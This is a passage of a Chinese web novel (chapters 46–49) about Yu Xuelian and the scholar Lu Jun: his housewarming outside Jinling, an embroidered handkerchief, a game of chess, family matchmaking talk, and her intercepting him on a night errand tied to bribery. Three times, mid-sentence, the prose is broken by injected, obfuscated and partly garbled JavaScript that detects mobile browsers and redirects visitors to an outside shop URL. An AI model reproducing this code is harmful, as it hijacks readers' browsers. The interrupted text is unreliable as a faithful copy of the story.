她那时天真地想着，临川侯做善举是为百姓，她入了教坊司才逐一明白，临川侯的善举是图个心安，弥补犯的过错。 高乘远给了她这道线索，她从前计划的那些，该提上进程了。 金盏见娘子出神地望着外面，欲要喊马夫再快些，争取早点到府。 虞雪怜忽然回头，道，“让陈叔把马车停下来。” “娘子？”金盏一脸迷茫地问，“娘子是又有事了吗？” 问归问，她弯腰去叫坐在帘外驾马的陈叔，说：“娘子要下车。” 陈叔把马车停在路边。 路的另一边，有辆放满书籍的推车咕噜咕噜地响着，推它的人是个面相憨厚的少年，他呼哧呼哧地喘着气，道：“虞姑娘！” 与这少年并肩走的男人手捧一沓竹简，衣着竹青色水纹窄袖衫袍，五官清朗端正，看着像是书香门第。 虞雪怜笑应了一声，那身衫袍，是她送给陆隽的。 陆隽穿着很合身，他模样清冷，配着一般人搭不了的竹青色，更显风骨。 金盏站在一旁拢了拢虞雪怜的斗篷，余光瞥着奇怪的少年。 “虞姑娘，我跟隽哥来金陵买书呢。”吴阿牛原本累得半死不活，这会儿生出精神气，推车走过来，热情地说，“隽哥他家离城里不远，我昨日还催隽哥找你呢，可是……可是金陵城忒大了，隽哥和我不晓得去哪儿找你。” “我们初一来的金陵，这几天有空就在这几条街逛游，一直碰不着虞姑娘。前两天我帮隽哥把花坞村的东西搬到新宅子，不过那也没什么东西，然后隽哥打扫庭院，我到城里购置物件。” 虞雪怜弯唇问道：“陆公子不知我家在哪吗？” 吴阿牛愣了愣，虞姑娘说这话的语气，隽哥好像大概是知道她家在哪的吗？ 他吃惊地扭头看隽哥——隽哥居然会说谎了！ 46. 乔迁 陆隽神色坦然，谎话被戳穿了也并不心虚或是急于解释。 他道：“陆某的确不太记得虞姑娘的家在何处。” 虞雪怜没再接着问，陆隽又岂不记得镇国将军府在哪里呢。 她与他的关系说不清道不明，即便那日他的举动出人意料，可他这样行事小心的人，也不会来府邸找她。 只是她这段日子忙着应付女先生布置的课业，夜里要看浮白从兵部偷抄回来的文书，且想着若是频繁在陆隽面前晃悠，显得她轻浮。 母亲在小厨房教过她，不论是炖肉熬粥，最需要的是有耐心，火要放慢，出来的膳食味道一定不差。 所以她要晾一晾陆隽。 虞雪怜漫不经意地问：“那陆公子的宅子在城外哪里呢？” “隽哥的宅子后边有一座寺庙，离城里就七八里路嘞。”吴阿牛说话的乡音少了些许，“我跟隽哥看了黄历，这个月十七，宜安床、入宅。” “我本来寻思进城找人问问虞姑娘的家在哪儿，等隽哥给新宅支了灶火，请虞姑娘一起吃饭，给宅子添一添人气嘛。” 虞雪怜问：“是红螺寺吗？” “是！”吴阿牛嘿嘿笑道，“虞姑娘不愧是金陵人啊，我到现在都记不清楚寺庙的名字，只晓得那寺庙是供奉月老的。” 金陵城外有座名为红螺的寺庙，因着求姻缘十分灵验，故广为人知。 日日都有百姓去为家里的儿女去佛殿参拜，陆隽租的这宅子主人便是个不信鬼神的。 主人对寺庙敲钟的声音不胜其烦，无可奈何，卖了舍不得这老宅子，不卖住着却嫌讨厌。 这主人是陈昌石的老友，听陈昌石说自个儿的学生要搬来金陵，他就把宅子租给了陆隽。 金盏扑哧道：“公子，那寺庙不是供奉月老的，只是早些年间，城中有商贾人家的小娘子随父母去烧香，约莫着过了十天半月的，那小娘子碰着如意郎君，年底就成了亲。于是别的老爷夫人也试着去红螺寺烧香许愿。” “唔……”金盏伸出手指头，道，“据说呢，十户里面有七户能在当年办喜事。” 吴阿牛愣愣地站着，花坞村虽归属金陵，但他们那儿的村民乡音语调厚重，像粗糙的沙砾。到了金陵，摆摊的小贩说话都细言细语的。 不说虞姑娘，她边上的小娘子一颦一笑，让他想到《诗经》上面的窈窕淑女。 “虞姑娘，这是你妹妹吗？”吴阿牛收住笑容，彬彬有礼地问。 金盏忙摆手说道：“奴婢是伺候娘子生活起居的。” “奴，奴——”吴阿牛左看一眼虞雪怜，右看一眼金盏，结巴道：“哦，是我忘了，虞姑娘的父母富贵，家大业大。” 金盏捂嘴偷笑，方才听吴阿牛的口音，便知道他从乡镇来的。 想到这里，她忽然笑不出来了。 她内心极其惊恐，娘子打哪儿认识这乡镇来的少年和男人？ “金盏，我们该回去了。”虞雪怜转而说，“今日天色不好，兴许要下雨，陆公子要早些带吴公子回家。” “是。”陆隽说，“这月十七，我和阿牛到城里买菜，虞姑娘若有空，可否去寒舍用饭。” 回归正题，吴阿牛欢喜地说道：“隽哥的新宅子可宽敞了。到那天我还得把盼夏接来吃饭，她老是念叨着想虞姑娘了，虞姑娘若是不来，我看她非得哭鼻子。” 虞雪怜笑说道：“陆公子乔迁之喜，我自是要去的。” * 金陵入了冬，城里城外的冷意截然不同。城里干冷，穿棉袍，裹大氅就可御寒。到了城外，阴湿寒冷，丝丝缕缕的风钻进衣裳，冻得人牙关打颤。 陆隽租的新宅倒是不小，前后两个院子，堂屋宽敞方正，两侧各一间厢房。 “虞姑娘，您看看，这间房是我给隽哥布置的。” “隽哥爱读书，我在村里砍了木头给他做了书架。” 吴阿牛俨然一副大管家的姿态，虞雪怜刚进前院，他就领着她参观陆隽住的厢房。 “陆公子住在前院吗？”虞雪怜觉得这宅子光亮是好，但前院通风，尤其到了夜里，即使把房门关严实，也不如在后院暖和。 “隽哥说住在这省事，出门走两步便是堂屋。”吴阿牛感慨道，“虞姑娘，这宅子算不错了。你想想我们那花坞村，穷得叮当响。谁家能盖两个院子，六间房，铁定要敲锣打鼓地放鞭炮呀。” 虞雪怜看了个大概，陆隽的厢房是要比在花坞村大了，可陈设未变，床榻仍是那张让人伸展不开四肢的木榻，书案仍是那张熟悉的，褪色的木案。 “我本来劝隽哥买张新的床榻，隽哥认床，这张榻他睡久了，丢了怪可惜的。”吴阿牛说，“虞姑娘，我带你去堂屋坐坐吧，昨儿我和隽哥在城里买了糕点和肉脯，香滋滋的。” “陆公子在灶房烧饭吗？”虞雪怜问。 吴阿牛道：“对，盼夏那丫头在帮隽哥烧火。” 不知陆隽是否提前估好了时辰，虞雪怜从厢房出来，盼夏端着一碗冒着热气的莲藕炖排骨汤。 “吴阿牛！你快去端饭。”盼夏快步走进堂屋，把汤放下，去迎虞雪怜，“虞姐姐，你这阵子在闺阁读书吗？陆隽哥哥还没搬家的时候，我去问过他好几次，他一开始说不知道，后来说你在闺阁读书。” 盼夏顿了顿，小声说道：“我心想虞姐姐这么久不来花坞村，陆隽哥哥又怎么晓得虞姐姐在做什么？所以我猜陆隽哥哥是嫌我烦，随便扯了个谎话打发我。” 虞雪怜笑道：“这阵子我家里的女先生抽查课业，不得空。陆公子说得不错，我确实是在闺阁读书。” “啊？是我错怪陆隽哥哥了吗。”盼夏眨巴着眼，嘀咕道：“我以为陆隽哥哥学坏了，竟扯谎糊弄人家。” 盼夏因此事郁闷了一整个月，今日有虞雪怜这句话，豁然开朗地和虞雪怜说起家常话。 她们说话的工夫，吴阿牛同陆隽把做好的饭菜放在堂屋的八仙桌上。 盼夏冷不丁地问：“对了，虞姐姐，现在陆隽哥哥搬来金陵城，你以后是不是就不去花坞村了？” 虞雪怜犹豫道：“年关将近，我母亲要忙着置办宴会。等过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546327|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年腾出空，盼夏姑娘若想见我，我便租辆马车把你接来，带你逛一逛金陵。” 盼夏脸色微红，她诶了一声，掏出放在荷包里的丝帕，问：“虞姐姐，你瞧我绣的鸳鸯好看吗？” 从陆隽哥哥搬出花坞村，吴阿牛也成天不见踪影。天寒了，她不用帮爹娘种地放羊，横竖闲着，合计绣几张帕子拿到镇上卖。 虞姐姐的眼光好，若是能给她出点主意，那她也可以像吴阿牛一样去做生意了。 虞雪怜接过丝帕，认真说道：“成色，绣工都出挑，这鸳鸯如画，绣得很好看。” 布料虽不是上乘，摸着不够光滑，可盼夏绣的鸳鸯戏水不输市面上卖的。 “不过我只会绣鸳鸯，”盼夏说，“还是陆隽哥哥前几年教我的。” 吴阿牛忽然打断盼夏的话，道：“虞姑娘，您先吃饭。盼夏，你不是说要尝尝金陵卖的肉脯吗？这给你买回来了，光顾着说话，怎么不吃。” 他给盼夏的碗里夹了肉脯，说：“快尝尝。” 盼夏努努嘴，说道：“我和虞姐姐说话，不耽误吃饭。”尽管话是这般说，她还是挺想吃肉脯的，转头对虞雪怜笑道：“虞姐姐，你也尝一尝。” 陆隽会刺绣的事，虞雪怜并不曾听说过。她目光移向陆隽，隐约见到他的下巴有些青色的胡茬，似乎是这两天疲惫，忙于乔迁，故忘了剃掉。 这胡茬提醒了虞雪怜，陆隽可是年长她七岁的男人。 陆隽今日的话极少，加之天凉，饭菜不到片刻就变得冷了。 吴阿牛饭量惊人，他埋头吃菜喝汤，打了个响嗝，道：“隽哥，我吃饱了，去灶房收拾收拾。” 他向盼夏使了眼色，道：“这天冷死人了，你跟我去后山捡点干柴，一会儿咱们到灶房烤火。” 盼夏乖巧地应道：“行！” 仿佛刻意为之，他们一溜烟地跑出宅院。 虞雪怜放下碗筷，说：“我给陆公子备了乔迁礼，忘在马车上了，我去给你拿。” 陆隽颔首，他亦起来把桌上的碗筷收了，随口一问：“虞姑娘近来在读什么书？” “嗯，在读——”虞雪怜短暂地停滞须臾，道，“女先生让读《内训》，是给女子讲修身，治家的道理……” 所谓有来有回，她接着说∶“陆公子近来忙于搬家，想来身心俱疲，应要好好歇息，待安定下来再读书。” 陆隽说：“陆某没有身心俱疲。” 虞雪怜笑问道：“陆公子近来在读什么书？” 陆隽抬眼，往日泛寒光的双眸，素来独善其身的他，此刻染上一层晦暗不明的情欲。 仅此一瞬，他低声道：“陆某当下读的称不上是书。” 虞雪怜只当陆隽在他老师那里得来了绝世佳作，未在书坊书斋售卖，是以才说称不上书。 他学富五车，读的书浩如烟海。虞雪怜思忖，听陆隽说一席话，胜读十年书，那么她直接在他这里询问书中讲的内容，便能学到不少的东西。 她若有所思地问道：“既称不上书，那陆公子读的是什么呢？” 47. 丝帕 于陆隽而言，《西厢记》仿佛成了难以启齿的，偏偏这一茬是他自己提的。 “陆公子？”虞雪怜近乎未见过陆隽如此出神，她问道：“陆公子近来读的书很多吗？” 屋外细雨悄无声息地滴落在青石台阶上，湿意冷意像是长了脚的猫儿，窜进屋内。 阴雨使得天色灰暗，似有若无的檀香和女子浅淡的香气萦绕在陆隽鼻尖。 “那本书没有名字，是在市面上随手买的。”陆隽说，“都是俗语而已。” 倘若他道出名字，与登徒子别无二致。陆隽有些恼自己，尤其虞穗似乎是抱着求知的眼神问他——可他呢，他却在提违禁的书籍。 南郢对贩卖话本故事有定好的管控，即便如此，阻碍不了部分书生写艳词□□。 有需求者不惜以高价买下，甚至四处找人打探哪里能买来这些书物。 “俗语……”虞雪怜轻笑道：“陆公子原来也会看俗书吗？” 陆隽问：“虞姑娘认为陆某会读什么书？” 虞雪怜沉吟道：“我一直以为陆公子读的是品格高的佳作，诸如孔子、庄子这样耳熟能详的大家。” 她看不出陆隽的异常，也想不到陆隽口中说的俗语是讲的什么。 “在虞姑娘的眼里，陆某是个清高的人么？”陆隽借此来问他所不明白的，她看他的目光，为何带着敬畏。 屋内仅有的光随着天色而变，虞雪怜微微仰起视线，才发觉陆隽已经走近，他下巴的青色胡茬更加清晰。 她想了想，离陆隽入内阁还有六年的光景。 虞雪怜跟陆隽对话不由得咬文嚼字：“若用清高来形容，也该是褒义词，绝非贬义。” 陆隽笑道：“若陆某不是清高之人，虞姑娘会疏远我吗？” 如果让她知晓他背地根本不是君子，心底藏着见不得光的念头，她将要如何看待他。 “陆公子多虑了。”虞雪怜反问道，“人无完人，若我身上有缺点，陆公子就会疏远我吗？” 细雨颇有要变猛烈的势头，若是再说下去，虞雪怜怕陆隽又追问她。 陆隽习惯把伞放在门后，虞雪怜拿起油纸伞，到屋外撑开，去拿放在马车上的乔迁礼。 等她回来，八仙桌只放了用木盘托着的一套茶具。 堂屋有一半的陈设是原主人留下的，虞雪怜怀里揣着一张棋盘，把它放到条案上。 虞雪怜担忧道：“外边的雨下得越发大，盼夏他们定要被淋湿了。” “我去给他们送伞。”陆隽说道：“你若累了，便去厢房歇息片刻。” 他的语气其实稀松平常，可倒让虞雪怜不自在了，好似这宅子是她和他共有的。 若陆隽走了，她独自在这儿，起码要等半个时辰。 虞雪怜不喜欢等候。上辈子死后在金陵游荡了太久，做了太久的孤魂野鬼，哪怕现在重获新生，也忘不掉行尸走肉的滋味。 她不愿孤零零地在这里等。 虞雪怜走上前，说：“我同你一起。” 两把油纸伞，显然不够四个人避雨，虞雪怜接着道：“我跟你用一把伞。” 陆隽在房檐下站着，女子的目光有了变化，没有了先前的敬畏，却生出几分可怜。 她好像怕他走。 出了宅院，野草丛生，让人分不清东南西北。 虞雪怜手里拿着另一把油纸伞，她紧挨陆隽，陆隽往哪走，她的脚步就如何走。 后山的路七拐八弯，铺满碎石的路格外的滑，概因挨得过于近了，虞雪怜的胳膊碰到了陆隽的腰。 不经意的触碰也没什么，让人犯难的是，这后山拾柴火的地方有道向上的坡，陡峭不平。 “手给我。”陆隽并不是询问的口吻，说完便握住虞雪怜的手，带她一步一步地上山坡。 陆隽一只手撑伞，腰背近乎是半弯着。他的身量高，若不把伞撑低，雨就可能扑在虞雪怜的身上。 所幸吴阿牛没带盼夏到后山深处去拾柴火，且半路下了雨，他们当即折返回去。 在这放眼望不到一个人影的山上，若有个风吹草动，很容易察觉得到。 吴阿牛瞧见陆隽撑着伞，伞下是虞姑娘。 他兴冲冲地擦了擦模糊不清的眼睛，拎着盼夏跑过去。 找到了人，也送了伞，回去的路上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566276|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然轻松些。 吴阿牛抱怨道：“这鬼天气，真是的。隽哥，我本来捡的柴火正好能烤几天的火，这一下雨，全湿了。” “都怪你，闲着没事跑去捡柴火。这是我娘刚给我缝的衣裳，跟着你走山路，烂出两个洞来，你赔我！”盼夏指着裙边，哼道，“吃一堑长一智，下次说什么我也不陪你干活了。” “我赔你就是了嘛。”吴阿牛哄道，“等这破雨停了，我带你去城里买衣裳，任你挑。不过最多买两件啊，多了买不起。” 从吴阿牛接了丹阳县布庄的生意，钱袋子装鼓了，说话一日比一日硬气。 盼夏不屑地说：“瞧你这出息，小气地要命。你看陆隽哥哥，给虞——” 她及时止住话语，“你向陆隽哥哥学学吧，否则你要打一辈子光棍！” 说完，盼夏拍拍胸口，好险，她差一点要把陆隽哥哥的秘密给泄漏出来了。 “呸！”吴阿牛急眼道：“我年纪轻轻，娶到媳妇是早晚的事。” 雨声盖住两人的吵闹。回了宅院，吴阿牛去灶房烧了一锅热水倒进木桶，盼夏随之搬走去后院的厢房用。 “隽哥，我也得去换件袍子。”吴阿牛这几天都住在前院的西厢房，俗话说由奢入俭难，在金陵算是过上了好日子，就不想凑合委屈自个儿，“我还要去烧一锅水洗洗身子。” 说罢，他重重地打了个喷嚏，“不行了，隽哥，我先去收拾。” 虞雪怜不急着走，她跟祖母直说今日要来给朋友贺喜，待用了午膳，陪朋友闲聊一个时辰便回府。 祖母念在她表现良好，问了朋友家在何处，去道哪门子喜……然后应下她出府的请求。 陆隽看了一眼条案边的棋盘，问道：“虞姑娘要下棋吗？” “要。”虞雪怜缓步走向陆隽，坐在他对面，笑道：“我棋艺不好，之前见陆公子的家里有本棋谱，却不见棋盘，所以想着用这个作为乔迁礼。” 陆隽从衣袖间拿出一张丝帕，递给虞雪怜。 虞雪怜迟钝地接过来，这丝帕上绣了''穗''字。 但听陆隽说：“上个月绣完的，只是寻不到机会送给你。” 48. 下棋 丝帕放在虞雪怜的掌心，其面料细腻，茶白的底色，绣着杜鹃花。 唯独‘穗’字是用金灿灿的针线而刺，虞雪怜原本不是个有耐性的人，像这种细致入微，讲究精巧的女红，她都是皱着眉头去做的。 要穿针引线，要防止被针扎到手指，论女子要学的琴棋书画，裁剪女红。她最讨厌的是拿针线刺绣，一坐便要几个时辰。 可陆隽竟会刺绣。 虞雪怜知他性子慢，又有耐性。但普天之下，也难有愿意去学做针线活儿的男子。 “陆公子费心了。”虞雪怜抿唇笑道，“这丝帕我会贴身带着的。” 她把丝帕折好，塞进束在腰间的帛带。 虞雪怜问：“陆公子是从小就懂得刺绣吗？” “跟我娘学的。”陆隽低首摆着棋盘，他做得微不足道，抵不上她对他的付出。 陆隽不常提起他爹娘，虞雪怜也从不去过问。 她腾开手把黑白棋分进棋奁，往日在旁看陆隽读书写字，摆摊卖画，今日能动脑筋和他下棋，虞雪怜想，决不能输得太难看。 陆隽执黑棋，她执白棋。 刚开局，虞雪怜尚有心思跟陆隽搭话：“接下来的日子，陆公子要在家温习功课吗？” 陆隽手指轻捏起棋子，道：“陆某在金陵城找了差事做。” “差事？”虞雪怜看了看黑棋的位置，问，“陆公子找了什么差事？” “在一家客栈做工，月钱五两银子。”陆隽掀起眼帘，见虞雪怜左手摩挲着奁里的白棋，右手按着将要放在棋盘上的棋子，一脸纠结。 她倏忽抬头，说：“可……可是离春闱不远了。金陵的客栈人来人往，要做的杂事繁多，会不会耽误陆公子温习？” 虞雪怜委实佩服陆隽的毅力，他明明踏入了仕途，再过几个月就能做官领俸禄，却还要吃苦去客栈做工。 棋子落盘，陆隽说道：“不会。” 虞雪怜握着棋子的手顿时一僵，她的棋被陆隽吃掉了。 一颗、两颗——整整六颗，尽数被陆隽拿走。 陆隽的棋艺是很好，她看习惯陆隽谦逊谨慎，而今在这棋盘，他每一步都压着她。 她呢，棋艺不精，但想着不论如何差劲，总不至于吃不到陆隽的棋。 虞雪怜安慰自己，这是刚开始，她尝试换条路挽救应该行得通。 她闭口不言，冥思琢磨怎么吃掉这黑棋，头也不抬地死盯着棋局。 陆隽许久不下棋，他在花坞村除了读书便是写字，唯有去书院拜访老师，方可下一两盘棋。 虞穗说的棋谱，是老师送他看的。他初次下棋前瞻后顾，束手束脚，输了老师半盘棋。 老师笑他胆小鬼，下个棋何必畏首畏尾，人活着要顾忌这个顾忌那个，若是连下棋都不能大胆一搏，岂不是了无生趣。 他记住了老师的这番话，棋盘由执棋者掌控，忘却身外物。 从棋局亦可看出人的脾性。 虞穗好胜，她似乎极想吃掉他的棋子。 冷雨湿漉漉，虞雪怜扯了扯衣袖。 棋盘被陆隽的黑棋占了大半，虞雪怜只觉气氛凝固，她咬唇决定着下一步要走的位置。 “等一等。”虞雪怜伸出手臂，拦下陆隽的手，她攥着他的手腕，道，“别急，我，我放错棋了。” 她把刚才下的棋往右挪一步，问：“陆隽，我是不是可以吃掉你的棋了？” 女子的手有些冰凉，她力气说不上大，在陆隽看来，她是使尽全力来拦他。 外边雨声缓缓，让乌云遮掩的亮光渐有冒头的意思，屋内不是那么暗淡了。 虞穗今日敷了淡色的胭脂，涂了口脂，娇红欲滴。 她问是不是可以吃掉他的棋，语气欣喜，两片唇瓣张合有度。 陆隽敛眉看向棋盘，她的四颗白棋围着他的一颗黑棋。 他应道：“可以吃。” 虞雪怜没松开手，她拿起陆隽的黑棋，珍惜地把它放进奁里。 要吃到陆隽的棋实在不容易，虞雪怜雀跃地说：“陆隽，你继续下。” “对了，你不能放水。” 陆隽问：“何为放水？” 虞雪怜说：“譬如不能故意让着我，或者不像适才那样，把我的棋堵得死死的然后吃掉。” 陆隽下棋不似他表面柔和，执棋干脆，稍不留神便要掉进他设的局，被吃得干干净净。 “好。”陆隽点头说，“陆某不放水。” 他的目光随即转到虞雪怜的手，问：“虞姑娘要一直攥着吗？” 虞雪怜飞快地收回手，说：“一时着急，失礼了。” 停留在陆隽手腕上的触感消失，他也随之收回手。 她对他有时不守男女间的分寸，只是攥他的手罢了，他也不觉得是失礼。 越到后边，虞雪怜思忖的东西越多。她棋奁的棋所剩无几，想在局中杀出一条路，是不可能的事了。 盼夏换了衣裳，打着伞从后院过来。瞧他们二人正在下棋，安安静静地站在案边看。 “陆公子，我输了。”虞雪怜数着她吃的棋，说，“拢共赢了你三颗。” 陆隽到底是听她的话，一点水都不放。 虞雪怜揉了揉腰，她起身说：“我该回府了。” 回了镇国将军府，虞雪怜被老太太叫去陪着吃茶，又听母亲说，滁州府有些亲戚要来金陵，有老太太的外孙侄女，她的姑母姑父，二伯伯二伯母。 老太太在寿宴热闹了一回，便盼着这群亲戚早点到金陵来，跟虞雪怜说道外孙，也就是她的表弟，怎样的乖巧聪明。 虞雪怜已然想象得到，等亲戚们来了，老太太的房里怕是要挤成一团。 “怜娘，你记得你二伯母吗？”老太太侧躺在榻上，手拿汤婆子，姿态雍容，“你母亲生你的那一年，她和你二伯伯千里迢迢来金陵送礼，还给你打了一块长命锁呢。” 虞雪怜笑道：“二伯母虽不在金陵，可母亲说过，要属二伯母最疼我，我是她亲侄女，怎会不记得她。” 老太太把汤婆子搁在一边，说道：“真是乖孩子。”她撑起手，靠在软枕上，“你二伯母是个好妇人，跟你二伯伯这么些年来不曾吵过一次架，你虽记得你二伯母，但对你那表兄表妹却不大有印象吧？” 虞雪怜道：“孙女有近十年没见二伯母了，对表兄表妹，是不大有印象了，可若是见面，孙女能认得出他们。” 老太太皱纹舒展，满脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583521|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆笑：“别说是你了。我若见了他们，也得一个一个地仔细看，才认得出都是谁。所以呀，全怪你爹爹了，咱们虞府是大家族，任平日再忙，过年不跟兄弟亲戚走动像什么话？” “这回你二伯母他们要来，我特地交代了，让他们带着你表兄表妹一块儿来。你表兄虞绍比你年长两岁，如今在滁州府做通判，长得英气，滁州府想嫁给你表兄的娘子少说要有七八个。” 虞雪怜不接老太太的话，上前给她捏腿按摩。 祖母果然是十句里面八句离不开婚事，操心这个不娶妻，忧虑那个嫁不出去。 “你卉妹妹的事，祖母这会儿想起来仍不是个滋味，那承宣伯府的罪证如山，幸亏咱们没和他们订婚。”老太太长叹道，“祖母千思万虑，外人从来是靠不住的，倒不如让卉娘跟你表兄凑成一对儿，就不怕她嫁过去受委屈。” 虞雪怜闪烁其词：“祖母思虑周到，这总归是卉妹妹的终身大事，祖母不妨找个机会问问卉妹妹。” “我正有此意要叫卉娘到我房里谈谈天。”老太太说道，“你表兄他们不日就抵达金陵，祖母想让你和卉娘去接你二伯母他们。” “祖母要吩咐什么，只管告诉孙女。” 老太太看虞雪怜愈发顺眼，她这孙女伶俐，话说三分便明白意思，除了爱出府这一个毛病。 …… 一钩弯月高悬，如被刀削薄，尖尖的，散着香灰色似的光。 天黑又冷，在街巷逗留的百姓三三两两，有闲钱的就去酒楼客栈消遣。 “陆兄，这么晚请你跟我出来办事，我这着实对不住你。”吴煦提了一盏汉白玉烛，愧疚地说，“你刚安定下来，我本要尽地主之谊款待你，然这事情急，我一人办不好。” 陆隽手中也提了一盏灯，却要比吴煦手里的灯盏更亮些，模样更精致些。 “是何急事？”陆隽问。 吴煦清早去城外找他，说有要事请他一起办。 强调了不止一次是急事，但不明说究竟是何事，让人觉得有几分蹊跷。 “是去参拜大人物。”吴煦压低嗓音，说，“他在朝廷的地位举足轻重，若能博得他的青睐，兴许我的官路能走得快一点。” 他说来是鸿胪寺的主簿，存在感哪里赶得上王侯将相的儿子，即便他一辈子勤勤恳恳，埋头苦干，若是圣上看不见，落到他身上的功劳能有几件？ 而今吴煦不相信天道酬勤，倘无贵人提拔，他就得做一辈子的鸿胪寺主簿，抑或哪日老天有眼，把他升到六品官，五品官……再往上是山童石烂，太阳打西边出来才能有的了。 那些官居一品的，哪个不是有靠山的？他没有靠山，要做大官是痴心妄想。 陆隽沉默须臾，直言问：“吴大人是要去行贿？” 吴煦脚步猛地停下，苦笑道：“陆兄误会了，你晓得我的身世，每月领的俸禄交给夫人去买柴米油盐，哪里有银钱去行贿别人？” 他举起灯盏看路，说：“陆兄，这位大臣的府邸在这条街巷，咱们到了。” 街巷两旁挂着纸灯笼，摇摇晃晃。 陆隽身后传来小厮的声音：“公子，公子。” 那小厮跑到陆隽面前，笑说道：“我家主人有请。” 49. 阻拦 这突然冒出来的小厮穿着一身黑色棉袍，神采奕然，吴煦对他很不友善：“你家主人是谁？深更半夜的，请陆兄去作甚？” 小厮笑道：“那大人呢？大人深更半夜在此地只是来游逛？” “你——你且说你家主人的名号。”吴煦摆出官架子，甩了甩衣袖，道，“否则别怪我不客气。” 小厮眼都不眨一下：“大人为难小的也没用，我是奉主人的令来请陆公子，您为难我，便是在为难我主人。” 吴煦吃瘪地瞪着小厮，这奴仆牙尖嘴利，背后的主人定是个不好惹的。 陆隽轻声道：“吴大人，我随他去一趟。” 吴煦不放心让陆隽跟这小厮走，何况他今夜要去参拜朝廷重臣，若误了时机……他这辈子的官路就走到头了。 可要让他孤身一人去见那位前辈，倘说错了话，达不到前辈的要求，去了更是无济于事。 没有陆兄，他没有底气。 “我在此处等候陆兄，”吴煦言语迫切，“还请陆兄速去速回。” 小厮领着陆隽往回走，约莫有百余步，见路边停了一辆以丝绸装裹的马车。 “公子，您上去吧。”小厮拱手说，“您把这盏灯给我，我帮您拿着。” 陆隽看这小厮应是办事稳妥的人，他把灯盏递给小厮，说：“有劳了。” “这是小的分内事，公子去罢，我家主人等着你呢。” 车帘被寒风吹得呼呼作响。陆隽凝视着马车，他在金陵城住了不到一个月，偶尔去老师的故友张泰禾家拜访，闲暇下来则在客栈做工。 他不认得金陵的权贵世家。 陆隽上了马车，案几的蜡烛大抵是被风吹灭了，车内漆黑一片。 只听女子轻言细语地唤他：“陆隽，你过来。” 陆隽屈身向女子所坐的位置走去，问道：“虞姑娘是要出远门？” 他熟悉虞穗的声音，身上的气息，以及她唤他的语气。 陆隽跟吴煦是酉时进的城，现在夜色浓得像砚台溅出的墨，吴煦有事要做，那虞穗呢？ 她坐着马车，在这个时辰，是要去出城寻人，还是有急事去办？ 如若是去寻人，寻的又会是谁。 “我出来赏月。”虞雪怜回道，“碰巧望见陆公子提的那盏灯，便让小厮去叫你。” 她的马车恰好是从那街巷出来，不料在这地方看到陆隽和吴煦。 虞雪怜疑虑吴煦是带陆隽去询问买卖官职的事情，让马夫把车停在路边，吩咐小厮务必把陆隽给她带来。 圣上正在严查捐官卖官一事，若是陆隽因吴煦被牵扯进去，那他的官路恐要出岔子。 “陆某跟吴大人进城办事。”陆隽说。 虞雪怜问：“他可有告诉你要办何事？” 陆隽答：“来参拜朝廷重臣。” 虞雪怜松了一口气，幸好及时把陆隽叫来了。 她暗忖这吴煦不够厚道，明知陆隽的仕途刚起步，却拉着陆隽去做不廉洁损名誉的事情。 吴煦有鸿胪寺主簿的官职，家里有妻儿。而陆隽在金陵举目无亲，虞雪怜猜测吴煦是拿住这一点，即使日后出事，有陆隽给他垫背。 陆隽坐在车帘旁，隐约感受到虞穗在生气，他问道：“虞姑娘不赏月了吗？” 赏月的理由过于牵强，虞穗的父亲是镇国大将军，凭他跟老师在寿宴上看到的镇国将军府，家风厚重，规矩不少，奴役也是得体有礼。大概容不了子女半夜出府赏月。 虞雪怜笑着说：“我请陆公子来，便是想和你一同赏月。” “吴大人在等我去办事。”陆隽推辞道，“虞姑娘早些回府歇息，夜里在外逗留太久，不安全。” 言毕，他欲要离开。 虞雪怜迅速拽住陆隽的衣袍，一副要绑架他的样子：“陆公子不能走。” 陆隽问：“为何不能走？” “我今日跟父亲吵了一架，赌气溜出府的。”虞雪怜随口找了个理由，“天黑了，我怕遇着歹人。” 陆隽坐了回去，尽管觉得虞穗在刻意隐瞒，阻拦他去办事。但推辞的话已经说了一遍，他说不出第二遍了。 吴煦要去办的事，他心里有了底，左右跟行贿有关。加之虞穗的反应，陆隽饶有兴趣想从她嘴里套出点什么。 虞雪怜掀开车帘，叫小厮让马夫去朱雀桥，吩咐他给吴煦传话，说陆隽身子不适，不能去办事了。 一气呵成，马车徐徐地行驶，由不得陆隽拒绝。 小厮把陆隽的那盏灯给了虞雪怜，她将它放在案几上，照明陆隽的脸。 这盏灯是她买给陆隽的，前些日子温昭找她去夫子庙，那儿有小贩摆摊卖时兴的稀罕物件儿，她一眼看中了这盏琉璃灯。 它既能提着引路，又能放在书案上代替蜡烛，陆隽很爱护它。 陆隽说道：“虞姑娘先回府，我再去找吴大人。” 